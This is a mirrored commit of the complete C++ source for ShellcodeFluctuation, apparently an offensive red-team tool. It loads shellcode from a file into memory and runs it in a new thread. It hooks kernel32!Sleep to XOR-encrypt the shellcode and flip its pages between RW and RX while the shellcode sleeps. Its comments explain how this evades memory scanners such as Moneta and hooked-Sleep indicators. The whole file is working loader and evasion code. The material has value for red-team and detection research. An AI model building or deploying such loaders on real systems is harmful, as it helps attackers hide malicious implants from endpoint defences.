mirror of
https://github.com/mgeeky/ShellcodeFluctuation
synced 2026-06-06 16:14:31 +00:00
first
This commit is contained in:
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#include "header.h"
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#include <intrin.h>
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#include <random>
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HookedSleep g_hookedSleep;
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FluctuationMetadata g_fluctuationData;
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bool g_fluctuate = false;
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void WINAPI MySleep(DWORD dwMilliseconds)
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{
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const LPVOID caller = (LPVOID)_ReturnAddress();
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//
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// Dynamically determine where the shellcode resides.
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// Of course that we could reuse information collected in `injectShellcode()`
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// right after VirtualAlloc, however the below invocation is a step towards
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// making the implementation self-aware and independent of the loader.
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//
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initializeShellcodeFluctuation(caller);
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//
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// Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW
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//
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shellcodeEncryptDecrypt(caller);
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log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
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HookTrampolineBuffers buffers = { 0 };
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buffers.originalBytes = g_hookedSleep.sleepStub;
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buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);
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//
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// Unhook kernel32!Sleep to evade hooked Sleep IOC.
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// We leverage the fact that the return address left on the stack will make the thread
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// get back to our handler anyway.
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//
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fastTrampoline(false, (BYTE*)::Sleep, &MySleep, &buffers);
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// Perform sleep emulating originally hooked functionality.
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::Sleep(dwMilliseconds);
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//
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// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
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//
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shellcodeEncryptDecrypt(caller);
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//
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// Re-hook kernel32!Sleep
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//
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fastTrampoline(true, (BYTE*)::Sleep, &MySleep);
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}
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std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type)
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{
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std::vector<MEMORY_BASIC_INFORMATION> out;
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const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1);
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uint8_t* address = 0;
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while (reinterpret_cast<size_t>(address) < MaxSize)
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{
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MEMORY_BASIC_INFORMATION mbi = { 0 };
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if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)))
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{
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break;
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}
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if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE)
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&& ((mbi.Type & Type) != 0))
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{
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out.push_back(mbi);
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}
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address += mbi.RegionSize;
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}
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return out;
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}
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void initializeShellcodeFluctuation(const LPVOID caller)
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{
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if (g_fluctuate && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
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{
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auto memoryMap = collectMemoryMap(GetCurrentProcess());
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//
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// Iterate over memory pages to find allocation containing the caller, being
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// presumably our Shellcode's thread.
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//
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for (const auto& mbi : memoryMap)
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{
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if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
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&& reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
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{
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// Store memory boundary of our shellcode somewhere globally.
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g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
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g_fluctuationData.shellcodeSize = mbi.RegionSize;
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g_fluctuationData.protect = mbi.Protect;
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g_fluctuationData.currentlyEncrypted = false;
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std::random_device dev;
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std::mt19937 rng(dev());
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std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);
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// Use random 32bit key for XORing.
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g_fluctuationData.encodeKey = dist4GB(rng);
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log("[+] Fluctuation initialized.");
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log(" Shellcode resides at 0x",
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std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
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" and occupies ", std::dec, mbi.RegionSize,
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" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey);
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return;
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}
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}
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log("[!] Could not initialize shellcode fluctuation!");
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::ExitProcess(0);
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}
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}
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void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)
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{
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uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
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auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
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for (size_t i = 0; i < bufSizeRounded; i++)
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{
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buf32[i] ^= xorKey;
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}
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for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
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{
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buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
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}
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}
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bool isShellcodeThread(LPVOID address)
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{
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MEMORY_BASIC_INFORMATION mbi = { 0 };
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if (VirtualQuery(address, &mbi, sizeof(mbi)))
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{
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//
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// To verify whether address belongs to the shellcode's allocation, we can simply
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// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.
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//
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if (mbi.Type == MEM_PRIVATE)
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{
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return ((mbi.Protect & PAGE_EXECUTE_READWRITE)
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|| (mbi.Protect & PAGE_EXECUTE_READ)
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|| (mbi.Protect == PAGE_READWRITE));
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}
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}
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return false;
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}
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bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
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{
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#ifdef _WIN64
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uint8_t trampoline[] = {
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0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
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0x41, 0xFF, 0xE2 // jmp r10
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};
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uint64_t addr = (uint64_t)(jumpAddress);
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memcpy(&trampoline[2], &addr, sizeof(addr));
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#else
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uint8_t trampoline[] = {
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0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
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0xFF, 0xE0 // jmp eax
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};
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uint32_t addr = (uint32_t)(jumpAddress);
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memcpy(&trampoline[1], &addr, sizeof(addr));
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#endif
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DWORD dwSize = sizeof(trampoline);
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DWORD oldProt = 0;
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bool output = false;
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if (installHook)
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{
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if (buffers != NULL)
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{
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if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
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return false;
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memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
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}
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if (::VirtualProtect(
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addressToHook,
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dwSize,
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PAGE_EXECUTE_READWRITE,
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&oldProt
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))
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{
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memcpy(addressToHook, trampoline, dwSize);
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output = true;
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}
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}
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else
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{
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if (buffers == NULL)
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return false;
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if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
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return false;
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dwSize = buffers->originalBytesSize;
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if (::VirtualProtect(
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addressToHook,
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dwSize,
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PAGE_EXECUTE_READWRITE,
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&oldProt
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))
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{
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memcpy(addressToHook, buffers->originalBytes, dwSize);
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output = true;
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}
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}
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::VirtualProtect(
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addressToHook,
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dwSize,
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oldProt,
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&oldProt
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);
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return output;
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}
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bool hookSleep()
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{
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HookTrampolineBuffers buffers = { 0 };
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buffers.previousBytes = g_hookedSleep.sleepStub;
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buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);
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g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(::Sleep);
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if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
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return false;
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return true;
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}
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void shellcodeEncryptDecrypt(LPVOID callerAddress)
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{
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if (g_fluctuate && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
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{
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if (!isShellcodeThread(callerAddress))
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return;
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DWORD oldProt = 0;
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if (!g_fluctuationData.currentlyEncrypted)
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{
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::VirtualProtect(
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g_fluctuationData.shellcodeAddr,
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g_fluctuationData.shellcodeSize,
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PAGE_READWRITE,
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&g_fluctuationData.protect
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);
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log("[>] Flipped to RW. Encoding...");
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}
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else
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{
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log("[.] Decoding...");
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}
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xor32(
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reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),
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g_fluctuationData.shellcodeSize,
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g_fluctuationData.encodeKey
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);
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if (g_fluctuationData.currentlyEncrypted)
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{
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::VirtualProtect(
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g_fluctuationData.shellcodeAddr,
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g_fluctuationData.shellcodeSize,
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g_fluctuationData.protect,
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&oldProt
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);
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log("[>] Flipped to RX.");
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}
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g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;
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}
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}
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bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
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{
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HandlePtr file(CreateFileA(
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path,
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GENERIC_READ,
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FILE_SHARE_READ,
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NULL,
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OPEN_EXISTING,
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0,
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NULL
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), &::CloseHandle);
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if (INVALID_HANDLE_VALUE == file.get())
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return false;
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DWORD highSize;
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DWORD readBytes = 0;
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DWORD lowSize = GetFileSize(file.get(), &highSize);
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shellcode.resize(lowSize, 0);
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return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
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}
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void runShellcode(LPVOID param)
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{
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auto func = ((void(*)())param);
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//
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// Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump
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// into shellcode in a classical manner instead of fancy hooking
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// ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example.
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//
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func();
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}
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bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
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{
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//
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// Firstly we allocate RW page to avoid RWX-based IOC detections
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//
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auto alloc = ::VirtualAlloc(
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NULL,
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shellcode.size() + 1,
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MEM_COMMIT,
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PAGE_READWRITE
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);
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if (!alloc)
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return false;
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memcpy(alloc, shellcode.data(), shellcode.size());
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DWORD old;
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//
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// Then we change that protection to RX
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//
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if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
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return false;
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/*
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* We're not setting these pointers to let the hooked sleep handler figure them out itself.
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*
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g_fluctuationData.shellcodeAddr = alloc;
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g_fluctuationData.shellcodeSize = shellcode.size();
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g_fluctuationData.protect = Shellcode_Memory_Protection;
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*/
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shellcode.clear();
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//
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// Example provided in https://github.com/mgeeky/ThreadStackSpoofer showed how we can start
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// our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 .
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//
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// That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module,
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// even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE
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// inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool.
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//
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// Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory
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// labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly.
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//
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// We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of
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// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
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// method and we'll instead jump to the shellcode from that method.
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//
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thread.reset(::CreateThread(
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NULL,
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0,
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(LPTHREAD_START_ROUTINE)runShellcode,
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alloc,
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0,
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0
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));
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return (NULL != thread.get());
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}
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int main(int argc, char** argv)
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{
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if (argc < 3)
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{
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log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
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log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
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log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
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log("\t1 - Inject shellcode and start fluctuating its memory.");
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return 1;
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}
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std::vector<uint8_t> shellcode;
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bool dontInject = !strcmp(argv[2], "-1");
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if(!dontInject) g_fluctuate = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1"));
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log("[.] Reading shellcode bytes...");
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if (!readShellcode(argv[1], shellcode))
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{
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log("[!] Could not open shellcode file! Error: ", ::GetLastError());
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return 1;
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}
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if (g_fluctuate)
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{
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log("[.] Hooking kernel32!Sleep...");
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if (!hookSleep())
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{
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log("[!] Could not hook kernel32!Sleep!");
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return 1;
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}
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}
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else
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{
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log("[.] Shellcode will not fluctuate its memory pages protection.");
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}
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if (dontInject)
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{
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log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
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log("[.] PID = ", std::dec, GetCurrentProcessId());
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while (true) {}
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}
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log("[.] Injecting shellcode...");
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HandlePtr thread(NULL, &::CloseHandle);
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if (!injectShellcode(shellcode, thread))
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{
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log("[!] Could not inject shellcode! Error: ", ::GetLastError());
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return 1;
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}
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log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId());
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WaitForSingleObject(thread.get(), INFINITE);
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}
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